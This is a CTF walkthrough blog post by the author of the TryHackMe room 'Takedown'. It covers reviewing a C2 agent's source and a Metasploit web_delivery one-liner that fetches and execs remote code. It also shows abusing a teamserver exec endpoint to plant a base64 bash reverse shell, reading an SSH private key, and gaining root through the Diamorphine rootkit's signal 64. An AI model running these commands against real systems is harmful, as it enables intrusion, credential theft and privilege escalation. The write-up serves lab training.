-rwxr-xr-x 1 root root 272672 Jul 26 21:39 shutterbug.jpg.bak
We now have the access to full source code for the C2 agent! This is huge in terms of understanding how we’ll use the app to perform follow on exploitation.
And, we don’t have to RE anything anymore 💀
It’s a good move to get some kind of C2 agent of our own here and siphon this data off for more source code review.
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.138.130:8443
[*] Using URL: http://0.0.0.0:8081/Nd2dFX
[*] Local IP: http://192.168.138.130:8081/Nd2dFX
[*] Server started.
[*] Run the following command on the target machine:
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.138.130:8081/Nd2dFX', context=ssl._create_unverified_context());exec(r.read());"
---
root@c2-shrike-1:/python-docker/agent# python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.138.130:8081/Nd2dFX', context=ssl._create_unverified_context());exec(r.read());"
<=ssl._create_unverified_context());exec(r.read());"
<string>:1682: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
root@c2-shrike-1:/python-docker/agent#
---
msf6 exploit(multi/script/web_delivery) > [*] 192.168.138.131 web_delivery - Delivering Payload (115201 bytes)
[*] Meterpreter session 1 opened (192.168.138.130:8443 -> 192.168.138.131:44834 ) at 2022-07-27 14:27:30 -0400
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root
meterpreter > download *
[*] downloading: ./foo.txt -> /home/kali/Desktop/foo.txt
....
The core of the agent’s command execution function is here in main.nim
:
proc command_handler(cmd: string): string =
var split_cmd = cmd.split(" ")
var run_cmd = split_cmd[0].strip()
try:
case run_cmd:
of "whoami":
result = whoami()
of "exec":
result = exec(cmd)
of "id":
result = id()
of "upload":
result = upload(split_cmd, uid, keyed_header, api_server)
of "pwd":
result = pwd()
of "download":
result = download(split_cmd, uid, keyed_header, api_server)
of "get_hostname":
result = get_hostname()
return result
except Exception as e:
return "[x] Error: " & e.msg
The exec()
function is interesting. You can find it in agent/commands/exec.nim
:
proc exec*(cmd: string): string =
try:
let clean_cmd = cmd.replace("exec ","")
let errC = execCmd(clean_cmd)
return $errC
except Exception as e:
return "Error: " & e.msg
This means that if the agent checks into the teamserver’s command endpoint and sees exec [command]
, it will execute the given input as a raw shell command.
Recall we have a live agent on the www-infinity webserver:
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -A "z.5.x.2.l.8.y.5" http://takedown.thm.local/api/agents 130 ⨯
{'[agent-uid]': 'www-infinity'}
If we can issue this agent a command, we can move laterally to the teamserver.
How can we issue the agent a command? Through the server API! Specifically, this endpoint:
@app.route('/api/agents/<uid>/exec', methods=['GET', 'POST'])
def post_agent_exec(uid):
if is_user_agent_keyed(request.headers.get('User-Agent')):
if uid in live_agents:
if request.method == 'GET':
return f"EXEC: {uid}", 200
if request.method == 'POST':
if request.json:
global command_to_execute_next
command_to_execute_next = request.json["cmd"]
global command_stack_reset_flag
command_stack_reset_flag = False
msg = f"New commnad to execute: {command_to_execute_next}"
app.logger.debug(msg)
print(msg)
return msg, 200
else:
return "Bad request", 400
else:
abort(404)
else:
abort(404)
else:
abort(404)
POSTing this endpoint with a command to execute puts this command into the command execution stack. We can use the cmd
JSON object to pass one in. The next time an agent checks in, it will execute this command with the exec()
function. This is exploitable for lateral movement to the Infinity webserver.
Command & Controlling: Exploitation for Lateral Movement (User.txt)
Let’s put a command in the stack so the agent on www-infinity executes it next time it checks in.
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "bash -i >& /dev/tcp/[kali IP]/[port] 0>&1" | base64
[base64 output]
┌──(kali㉿kali)-[~/Desktop]
└─$ curl -X POST -A "z.5.x.2.l.8.y.5" -H "Content-Type: application/json" -d '{ "cmd": "exec echo [base64 output] | base64 -d | bash"}' http://takedown.thm.local/api/agents/[agent-uid]/exec
New commnad to execute: exec echo [base64 output] | base64 -d | bash
---
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nvlp 4545
listening on [any] 4545 ...
connect to [192.168.138.130] from (UNKNOWN) [192.168.138.131] 40778
bash: cannot set terminal process group (2572): Inappropriate ioctl for device
bash: no job control in this shell
webadmin-lowpriv@www-infinity:~$ whoami && hostname
whoami && hostname
webadmin-lowpriv
www-infinity
webadmin-lowpriv
We’ve finally made it onto the webserver!
The webadmin-lowpriv id_rsa
key is located in ~/.ssh/id_rsa
which can now be recovered and used to SSH into the webserver so you never have to do that exploit chain ever again.
webadmin-lowpriv@www-infinity:~$ cat ~/.ssh/id_rsa
cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
..........
The user.txt flag can be grabbed in the home directory of the webadmin-lowpriv user.
webadmin-lowpriv@www-infinity:~$ cat user.txt
THM{REDACTED}
Who Left This Here? Privilege Escalation (Root.txt)
After all of that, what fresh hell awaits us for privilege escalation?
The webserver is locked down. It’s patched against recent Linux privescs (DirtyPipe, PwnKit), and the user accounts have random generated 30+ character passwords. The SSH service only accepts SSH keys. Linux enumeration scripts like LinPEAS don’t seem to identify many obvious methods of privesc.
webadmin-lowpriv@www-infinity:~$ whoami
webadmin-lowpriv
webadmin-lowpriv@www-infinity:~$ id
uid=1001(webadmin-lowpriv) gid=1001(webadmin-lowpriv) groups=1001(webadmin-lowpriv)
webadmin-lowpriv@www-infinity:~$ sudo -l
[sudo] password for webadmin-lowpriv:
No sudo entries and our EUID is a low level user.
Let’s move to /dev/shm
to stage all of our follow on enumeration and… wait, what?
webadmin-lowpriv@www-infinity:/dev/shm$ ls
diamorphine.c diamorphine.ko diamorphine.mod.c diamorphine.o Makefile Module.symvers
diamorphine.h diamorphine.mod diamorphine.mod.o LICENSE.txt modules.order README.md
That’s non-standard. Items in /dev/shm
are removed during reboot, so this directory is normally empty.
What is Diamorphine?
webadmin-lowpriv@www-infinity:/dev/shm$ cat README.md
Diamorphine
===========
Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x and ARM64
Features
--
- When loaded, the module starts invisible;
- Hide/unhide any process by sending a signal 31;
- Sending a signal 63(to any pid) makes the module become (in)visible;
- Sending a signal 64(to any pid) makes the given user become root;
- Files or directories starting with the MAGIC_PREFIX become invisible;
- Source: https://github.com/m0nad/Diamorphine
...
Diamorphine Rootkit
Diamorphine is a Linux Kernel Module rootkit that can be installed by the root user. As a rootkit, Diamorphine has some incredibly powerful and dangerous features. How this terrible piece of technology functions is a bit beyond the scope of this walkthrough, but definitely read the references in the Github repo if you're interested.
In short, the rootkit is loaded in as a kernel module, so it attaches itself directly to the lowest possible level of the operating system. It allows for a "magic directory name" to be passed to the kernel, which means that any directory that goes by that name will be invisible to a normal user. It can also hide processes from the process list by issuing them the kill -31 [PID]
command.
All things considered, it's a scary piece of malware. And it looks like it's here, on this host.
Luckily, the README indicates precisely how we will privilege escalate using this fascinating piece of malware:
Features
...
- Sending a signal 64(to any pid) makes the given user become root;
...
Once the LKM rootkit is loaded in, any user can issue kill -64 [any pid]
and instantly become the root user. Let’s try it out.
webadmin-lowpriv@www-infinity:/dev/shm$ kill -64 0
webadmin-lowpriv@www-infinity:/dev/shm$ id
uid=0(root) gid=0(root) groups=0(root),1001(webadmin-lowpriv)
webadmin-lowpriv@www-infinity:/dev/shm$ whoami
root
webadmin-lowpriv@www-infinity:/dev/shm$ echo yayayaya
yayayaya
Looks like we’re home free and can grab the root flag.
webadmin-lowpriv@www-infinity:/root$ cat root.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*****(/****/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@#***&@/,,,,,,,,%@#***@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@&**#(,,,,,,,,,,,,*,,,,,@**/@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@(**/,,,,,,,,,,,,,,,,,,**,,,,/**@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@%**,,,,,,,,,,,,#&@@%*,,,,,,***,,***@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/**,***,,,,(@/*********/@@,,,,****,**%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@*******,,,/*,*************,,/#,,,******#@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@******,,,,,,******************,,,,,******(@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@******,,,,,**&@@@@@****(@@@@@&***,,,,******%@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(*****,,,,/@@@@@@@@@@***@@@@@@@@@@**,,,******@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@*****,,,/@@@@*****%@****/@#****/@@@@/,,,*****/@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@(***,,,,@@@@@@@@@@@***(&(***@@@@@@@@@@@*,,,****@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@***,,,,@&&@@@@@@@%@@@@@@@@@@@#@@@@@@@#&@*,,,***%@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@#**,,,,***@@@@@@@@@@@@@@@@@@@@@@@@@@@@%***,,,****@@@@@@@@@@@@@@@@@
@@@@@@@@@@&****,,,,***/@@@#@@@@@@/*****(@@@@@@%@@@/***,,,******@@@@@@@@@@@@@@@
@@@@@@@@@*******,,,,***@@@@(@@@@@******/@@@@@%@@@%***,,,,*******/@@@@@@@@@@@@@
@@@@@@@@&********,,,****@@@@@*&@@@@#*%@@@@%*@@@@%****,,,*********@@@@@@@@@@@@@
@@@@@@@@@@(********,,****#@@@@&***********@@@@@/****,,,********@@@@@@@@@@@@@@@
@@@@@@@@@@@@%*******,,*****&@(@(*********#@/@%*****,,*******/@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@/******,**,****#@(*******#@/****,**********&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/******,,*****@@****/@@*****,,*******&@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@#*****,,*****@@&@&*****,,*****(@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@/***,,***********,,***/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/**,,*****,,**/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/,,,/&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
THANKS FOR PLAYING :D -husky
THM{REDACTED}
Misc Room Info
Diamorphine Directory
Something interesting to note here: there is a directory installed on the host that is made invisible by Diamorphine. As any user (even root), examine the /usr/share
directory:
webadmin@www-infinity:~$ ls /usr/share/
adduser dict i18n mime python3-cached-property
alsa distro-info icons misc python-apt
applications dns info ModemManager readline
apport dnsmasq-base initramfs-tools nano rsync
awk doc iptables netplan rsyslog
base-files doc-base iso-codes openssh screen
base-passwd dpkg java open-vm-tools secureboot
bash-completion file keyrings os-prober sensible-utils
binfmts finalrd landscape package-data-downloads sounds
bug fish language-selector PackageKit systemd
build-essential fwupd language-support pam tabset
byobu gcc language-tools pam-configs terminfo
ca-certificates GConf libc-bin pastebin.d ubuntu-release-upgrader
calendar gdb libdrm perl ufw
cmake gettext licenses perl5 unattended-upgrades
common-licenses git-core lintian pixmaps update-notifier
consolefonts gitweb locale pkgconfig usb_modeswitch
console-setup glib-2.0 locales plymouth vim
consoletrans gnupg man polkit-1 X11
cryptsetup groff man-db popularity-contest xml
dbus-1 grub mdadm publicsuffix zoneinfo
debconf grub-gfxpayload-lists menu pyshared zoneinfo-icu
debianutils hal metainfo python3 zsh
Now, examine the processes:
webadmin@www-infinity:~$ ps -ef | grep diamorphine
root 904 898 0 15:14 ? 00:00:00 /usr/sbin/runuser -l webadmin-lowpriv -c /usr/share/diamorphine_secret/svcgh0st
webadmi+ 2572 904 0 15:22 ? 00:00:02 /usr/share/diamorphine_secret/svcgh0st
Two processes appear to be running executables in the /usr/share/diamorphine_secret
directory, which does not appear to exist on the host. However, if you try to change directories into it:
webadmin@www-infinity:~$ cd /usr/share/diamorphine_secret
webadmin@www-infinity:/usr/share/diamorphine_secret$ ls
svcgh0st
… the directory is there! Remarkable. This was a common way that players found out that the rootkit was installed on the machine. Find the process, google “diamorphine_secret”, and research the rootkit.
Diamorphine can also hook the kernel to hide processes using SIGINVIS, which is 34
by default. I felt this would be a bit unfair for the players, so we can imagine that the RISOTTO GROUP operator was too lazy to hide their processes. The full set of Diamorphine’s signals are in the source here:
Metasploit Module
Someone who solved this room pointed out that there’s a Metasploit module that can perform the privesc if it detects the Diamorphine rootkit and it has the default SIGSUPER of 64
. I actually didn’t know this. Neat!
Unintended Privesc
There is also an unintended way to privesc with an N-day Linux privesc that was released 6 days after the room was released. I built the room back in July 2022 and hardened it against all contemporary forms of kernel privescs, but don’t really feel like updating it now. If you root the machine with a recent CVE, it’s an unintended path. Also, not for nothing, the actual privesc is easier than the CVE if you know what to look for.
Source code, scripts, agent/teamserver
Note that in the /root
directory, I’ve left a zip file with the source code for the teamserver, agents, and scripts to prep this VM for THM. I wrote all of the code for the teamserver and agent from scratch! Check them out if you’re interested.
Conclusion
Wow! What a journey.
I made this room to be quite challenging and the community really rose up to the occasion. Watching everyone struggle and progress and finally figure the room out has been a joy!
If you made it all the way through, even if you used the walkthrough, a huge congratulations to you! I hope this THM room was interesting and a bit off-the-beaten-path for most other THM rooms.
If you enjoyed this, please let me know! And thank you for reading.
-Husky
— — — — — — > Back to Blog
🌐 Where You Can Find Me
🐦 Twitter | 📡 Main Blog | 👽 GitHub | 📺 YouTube
📒Recent Notes
8/30/22 Content Creators, I Will Teach You Cyber Jiu-Jitsu
8/12/22 The Responsible Red Teamer’s Manifesto
7/30/22 On Patching Binaries
7/16/22 MS-Interloper: On the Subject of Malicious MSIs
4/22/22 Failing All The Way To Token Manipulation, Part 1
4/16/22 COM Hijacking Creative Cloud